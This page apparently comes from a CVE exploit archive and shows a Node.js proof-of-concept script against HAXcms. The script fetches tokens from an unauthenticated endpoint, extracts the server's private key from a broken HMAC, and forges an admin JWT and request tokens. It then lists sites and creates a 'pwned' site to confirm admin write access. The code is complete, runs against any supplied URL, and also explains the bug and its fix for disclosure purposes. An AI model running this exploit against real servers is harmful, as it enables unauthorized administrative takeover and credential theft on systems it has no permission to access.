5585 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc_hmac_key_leak.js JS
#!/usr/bin/env node
/**
 * PoC: HAXcms Node.js — Private Key Disclosure via Broken HMAC (CWE-321, CWE-200)
 *
 * Vulnerable code: haxcms-nodejs/src/lib/HAXCMS.js lines 2158-2163
 *
 * Usage:  node poc_hmac_key_leak.js <target_url>
 * Example: node poc_hmac_key_leak.js http://localhost:3000
 */

const crypto = require('crypto');
const http = require('http');
const https = require('https');

const TARGET = process.argv[2] || 'http://localhost:3000';

// ── Helper: Reproduce the VULNERABLE hmacBase64 from HAXCMS.js:2158-2163 ──
function hmacBase64_vulnerable(data, key) {
  var buf1 = crypto.createHmac("sha256", "0").update(data).digest();
  var buf2 = Buffer.from(key);
  return Buffer.concat([buf1, buf2]).toString('base64')
    .replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}

// ── Helper: What a CORRECT hmacBase64 looks like (PHP version, HAXCMS.php:1619-1631) ──
function hmacBase64_correct(data, key) {
  return crypto.createHmac("sha256", key).update(data).digest('base64')
    .replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}

// ── Helper: Extract the private key embedded inside a broken HMAC token ──
function extractKeyFromToken(token) {
  const padded = token.replace(/-/g, '+').replace(/_/g, '/');
  const decoded = Buffer.from(padded, 'base64');
  const hmacPart = decoded.slice(0, 32);   // first 32 bytes = SHA-256 digest (useless, keyed with "0")
  const keyBytes = decoded.slice(32);      // remaining bytes = privateKey+salt IN PLAINTEXT
  return {
    hmac: hmacPart.toString('hex'),
    key: keyBytes.toString('utf8')
  };
}

function fetch(url) {
  return new Promise((resolve, reject) => {
    const mod = url.startsWith('https') ? https : http;
    mod.get(url, { rejectUnauthorized: false }, (res) => {
      let data = '';
      res.on('data', chunk => data += chunk);
      res.on('end', () => resolve(data));
    }).on('error', reject);
  });
}

function post(url, body) {
  return new Promise((resolve, reject) => {
    const parsed = new URL(url);
    const mod = parsed.protocol === 'https:' ? https : http;
    const postData = JSON.stringify(body);
    const opts = {
      hostname: parsed.hostname,
      port: parsed.port,
      path: parsed.pathname + parsed.search,
      method: 'POST',
      rejectUnauthorized: false,
      headers: {
        'Content-Type': 'application/json',
        'Content-Length': Buffer.byteLength(postData)
      }
    };
    const req = mod.request(opts, (res) => {
      let data = '';
      res.on('data', chunk => data += chunk);
      res.on('end', () => resolve({ status: res.statusCode, body: data }));
    });
    req.on('error', reject);
    req.write(postData);
    req.end();
  });
}

// ════════════════════════════════════════════════════════════════════
//  MAIN
// ════════════════════════════════════════════════════════════════════
async function main() {
  console.log('');
  console.log('================================================================');
  console.log('  HAXcms Node.js — Private Key Disclosure via Broken HMAC');
  console.log('  CWE-321 (Hard-Coded Crypto Key) + CWE-200 (Info Exposure)');
  console.log('  Vulnerable file: src/lib/HAXCMS.js  lines 2158-2163');
  console.log('================================================================');
  console.log('  Target: ' + TARGET);
  console.log('================================================================\n');

  // ────────────────────────────────────────────────────────────────
  //  STEP 1 — Fetch tokens from the UNAUTHENTICATED endpoint
  // ────────────────────────────────────────────────────────────────
  console.log('┌──────────────────────────────────────────────────────────────┐');
  console.log('│  STEP 1: Fetch /system/api/connectionSettings (NO AUTH)     │');
  console.log('└──────────────────────────────────────────────────────────────┘');
  console.log('');
  console.log('  This endpoint is publicly accessible — it is listed in the');
  console.log('  JWT validation skip list at src/app.js. No cookies, no');
  console.log('  headers, no authentication of any kind is required.');
  console.log('');
  console.log('  Request:  GET ' + TARGET + '/system/api/connectionSettings');
  console.log('');

  const raw = await fetch(TARGET + '/system/api/connectionSettings');

  // Parse — could be JS (window.appSettings = {...};) or raw JSON
  let settings;
  const jsMatch = raw.match(/window\.appSettings\s*=\s*(\{[\s\S]*\});/);
  if (jsMatch) {
    settings = JSON.parse(jsMatch[1]);
  } else {
    try { settings = JSON.parse(raw); } catch(e) {
      console.log('  ERROR: Could not parse response.');
      console.log('  Raw (first 500 chars): ' + raw.substring(0, 500));
      process.exit(1);
    }
  }

  const token = settings.token
    || settings.getFormToken
    || (settings.appStore && settings.appStore.params && settings.appStore.params.appstore_token);

  if (!token) {
    console.log('  ERROR: No token found in response.');
    process.exit(1);
  }

  console.log('  Response received. Tokens found in the JSON body:');
  console.log('');
  console.log('    token:          ' + (settings.token || 'N/A'));
  console.log('    getFormToken:   ' + (settings.getFormToken || 'N/A'));
  if (settings.appStore && settings.appStore.params) {
    console.log('    appstore_token: ' + (settings.appStore.params.appstore_token || 'N/A'));
    console.log('    site_token:     ' + (settings.appStore.params.site_token || 'N/A'));
  }
  console.log('');
  console.log('  NOTE: A correctly implemented HMAC token would be ~44 chars');
  console.log('        (32 bytes base64-encoded). These tokens are ' + token.length + ' chars,');
  console.log('        which is the first visible indicator that extra data');
  console.log('        (the private key) is embedded in the token output.');
  console.log('');

  // ────────────────────────────────────────────────────────────────
  //  STEP 2 — Extract the private key from the token
  // ────────────────────────────────────────────────────────────────
  console.log('┌──────────────────────────────────────────────────────────────┐');
  console.log('│  STEP 2: Extract the private key from the token             │');
  console.log('└──────────────────────────────────────────────────────────────┘');
  console.log('');
  console.log('  The vulnerable hmacBase64() function (HAXCMS.js:2158-2163)');
  console.log('  produces tokens with this structure:');
  console.log('');
  console.log('    base64url( [32 bytes: HMAC-SHA256 with key "0"]');
  console.log('               [N  bytes: privateKey+salt PLAINTEXT] )');
  console.log('');
  console.log('  To extract the key, we:');
  console.log('    1. Base64-decode the token');
  console.log('    2. Discard the first 32 bytes (the useless HMAC)');
  console.log('    3. Read the remaining bytes as UTF-8 — that is the key');
  console.log('');

  const { hmac, key } = extractKeyFromToken(token);

  if (key.length === 0) {
    console.log('  Token is exactly 32 bytes — key NOT leaked.');
    console.log('  This instance may be running the fixed version or PHP backend.');
    process.exit(1);
  }

  console.log('  Token decoded (' + Buffer.from(token.replace(/-/g,'+').replace(/_/g,'/'), 'base64').length + ' bytes total):');
  console.log('');
  console.log('    Bytes  0-31 (HMAC digest, keyed with "0"):');
  console.log('      ' + hmac);
  console.log('');
  console.log('    Bytes 32+  (privateKey + salt in PLAINTEXT):');
  console.log('      ' + key);
  console.log('');
  console.log('  RESULT: Private key successfully extracted!');
  console.log('  Key length: ' + key.length + ' characters');
  console.log('');

  // ────────────────────────────────────────────────────────────────
  //  STEP 3 — Verify the extracted key is correct
  // ────────────────────────────────────────────────────────────────
  console.log('┌──────────────────────────────────────────────────────────────┐');
  console.log('│  STEP 3: Verify the extracted key is correct                │');
  console.log('└──────────────────────────────────────────────────────────────┘');
  console.log('');
  console.log('  We recompute the default token using our extracted key and');
  console.log('  the vulnerable hmacBase64() function, then compare it to');
  console.log('  the token the server returned.');
  console.log('');

  const recomputed = hmacBase64_vulnerable('', key);
  const serverToken = settings.token;

  console.log('  Server token:     ' + (serverToken || 'N/A'));
  console.log('  Recomputed token: ' + recomputed);
  console.log('');

  if (serverToken && recomputed === serverToken) {
    console.log('  MATCH — extracted key is correct.');
  } else if (!serverToken) {
    console.log('  (Server did not return a base "token" field; skipping comparison.)');
  } else {
    console.log('  WARNING: Tokens do not match — key may be partially incorrect.');
  }
  console.log('');

  // ────────────────────────────────────────────────────────────────
  //  STEP 4 — Forge an admin JWT using the stolen key
  // ────────────────────────────────────────────────────────────────
  console.log('┌──────────────────────────────────────────────────────────────┐');
  console.log('│  STEP 4: Forge an admin JWT using the stolen key            │');
  console.log('└──────────────────────────────────────────────────────────────┘');
  console.log('');
  console.log('  HAXcms JWTs are signed with privateKey+salt (HAXCMS.js:2830):');
  console.log('    JWT.sign(payload, this.privateKey + this.salt)');
  console.log('');
  console.log('  The JWT payload requires:');
  console.log('    - id:   hmacBase64("user", key)  — the user request token');
  console.log('    - user: "admin"                  — the username');
  console.log('    - iat:  current timestamp');
  console.log('    - exp:  expiry timestamp');
  console.log('');

  let jwt;
  try {
    jwt = require('jsonwebtoken');
  } catch(e) {
    console.log('  ERROR: jsonwebtoken not installed. Run: npm install jsonwebtoken');
    console.log('  The key has been extracted — JWT forgery requires this module.');
    console.log('  Extracted key: ' + key);
    return;
  }

  const forgedId = hmacBase64_vulnerable('user', key);
  const now = Math.floor(Date.now() / 1000);
  const forgedPayload = {
    id: forgedId,
    user: 'admin',
    iat: now,
    exp: now + 900
  };

  console.log('  Forging JWT with payload:');
  console.log('    {');
  console.log('      id:   "' + forgedId.substring(0, 40) + '..."');
  console.log('      user: "admin"');
  console.log('      iat:  ' + now + ' (' + new Date(now * 1000).toISOString() + ')');
  console.log('      exp:  ' + (now + 900) + ' (' + new Date((now + 900) * 1000).toISOString() + ')');
  console.log('    }');
  console.log('');
  console.log('  Signing key: ' + key);
  console.log('');

  const forgedJWT = jwt.sign(forgedPayload, key);

  console.log('  Forged JWT:');
  console.log('    ' + forgedJWT);
  console.log('');

  // Decode to confirm
  const decoded = jwt.verify(forgedJWT, key);
  console.log('  JWT signature verified locally:');
  console.log('    user = ' + decoded.user);
  console.log('    exp  = ' + new Date(decoded.exp * 1000).toISOString());
  console.log('');

  // ────────────────────────────────────────────────────────────────
  //  STEP 5 — Forge request tokens needed by authenticated endpoints
  // ────────────────────────────────────────────────────────────────
  console.log('┌──────────────────────────────────────────────────────────────┐');
  console.log('│  STEP 5: Forge request tokens for authenticated endpoints   │');
  console.log('└──────────────────────────────────────────────────────────────┘');
  console.log('');
  console.log('  Authenticated API calls also require HMAC request tokens:');
  console.log('    user_token  = hmacBase64("admin", key)');
  console.log('    base_token  = hmacBase64("", key)');
  console.log('    form_token  = hmacBase64("form", key)');
  console.log('');

  const userToken = hmacBase64_vulnerable('admin', key);
  const baseToken = hmacBase64_vulnerable('', key);
  const formToken = hmacBase64_vulnerable('form', key);

  console.log('  Forged tokens:');
  console.log('    user_token: ' + userToken);
  console.log('    base_token: ' + baseToken);
  console.log('    form_token: ' + formToken);
  console.log('');

  // ────────────────────────────────────────────────────────────────
  //  STEP 6 — Call authenticated endpoint to prove admin access
  // ────────────────────────────────────────────────────────────────
  console.log('┌──────────────────────────────────────────────────────────────┐');
  console.log('│  STEP 6: Call authenticated endpoint (listSites)            │');
  console.log('└──────────────────────────────────────────────────────────────┘');
  console.log('');
  console.log('  Using the forged JWT and user_token to call /system/api/listSites.');
  console.log('  This endpoint requires admin authentication.');
  console.log('');

  const listUrl = TARGET + '/system/api/listSites?user_token=' + encodeURIComponent(userToken) + '&jwt=' + encodeURIComponent(forgedJWT);
  console.log('  Request: GET ' + TARGET + '/system/api/listSites');
  console.log('    ?user_token=' + userToken.substring(0, 30) + '...');
  console.log('    &jwt=' + forgedJWT.substring(0, 30) + '...');
  console.log('');

  const listResp = await fetch(listUrl);
  console.log('  Response (first 500 chars):');
  console.log('    ' + listResp.substring(0, 500));
  console.log('');

  // ────────────────────────────────────────────────────────────────
  //  STEP 7 — Create a site to prove full write access
  // ────────────────────────────────────────────────────────────────
  const siteName = 'pwned-' + Date.now();
  console.log('┌──────────────────────────────────────────────────────────────┐');
  console.log('│  STEP 7: Create a site to prove full admin write access     │');
  console.log('└──────────────────────────────────────────────────────────────┘');
  console.log('');
  console.log('  Calling POST /system/api/createSite with forged credentials');
  console.log('  to create site "' + siteName + '".');
  console.log('');

  const createUrl = TARGET + '/system/api/createSite?user_token=' + encodeURIComponent(userToken);
  const createResp = await post(createUrl, {
    jwt: forgedJWT,
    token: baseToken,
    site: { name: siteName },
    theme: 'clean-one',
    type: 'course'
  });

  console.log('  HTTP Status: ' + createResp.status);
  console.log('  Response:');
  console.log('    ' + createResp.body.substring(0, 500));
  console.log('');

  if (createResp.status === 200) {
    console.log('  SITE CREATED SUCCESSFULLY — full admin access confirmed.');
    console.log('  The site "' + siteName + '" now exists on disk at _sites/' + siteName + '/');
  } else {
    console.log('  Site creation returned status ' + createResp.status + '.');
    console.log('  Check if the server is running and accessible.');
  }
  console.log('');

  // ────────────────────────────────────────────────────────────────
  //  SUMMARY
  // ────────────────────────────────────────────────────────────────
  console.log('================================================================');
  console.log('  EXPLOIT SUMMARY');
  console.log('================================================================');
  console.log('');
  console.log('  Vulnerability:  Broken HMAC in hmacBase64() — HAXCMS.js:2158-2163');
  console.log('');
  console.log('  Bug 1 (line 2160):');
  console.log('    crypto.createHmac("sha256", "0")  ← key hardcoded to "0"');
  console.log('    Should be: crypto.createHmac("sha256", key)');
  console.log('');
  console.log('  Bug 2 (lines 2161-2163):');
  console.log('    Buffer.concat([hmacDigest, Buffer.from(key)])  ← key appended');
  console.log('    Should be: just return the HMAC digest, never include the key');
  console.log('');
  console.log('  Attack chain:');
  console.log('    1. GET /connectionSettings (no auth) → receive tokens');
  console.log('    2. Base64-decode any token → discard first 32 bytes → read key');
  console.log('    3. Use key to forge JWT (jwt.sign(payload, key))');
  console.log('    4. Use key to forge request tokens (hmacBase64(value, key))');
  console.log('    5. Call any authenticated API with forged credentials');
  console.log('');
  console.log('  Extracted key:  ' + key);
  console.log('  Forged JWT:     ' + forgedJWT.substring(0, 50) + '...');
  console.log('  Admin access:   ' + (createResp.status === 200 ? 'CONFIRMED' : 'CHECK MANUALLY'));
  console.log('');
  console.log('================================================================');
}

main().catch(err => {
  console.error('Error:', err.message);
  process.exit(1);
});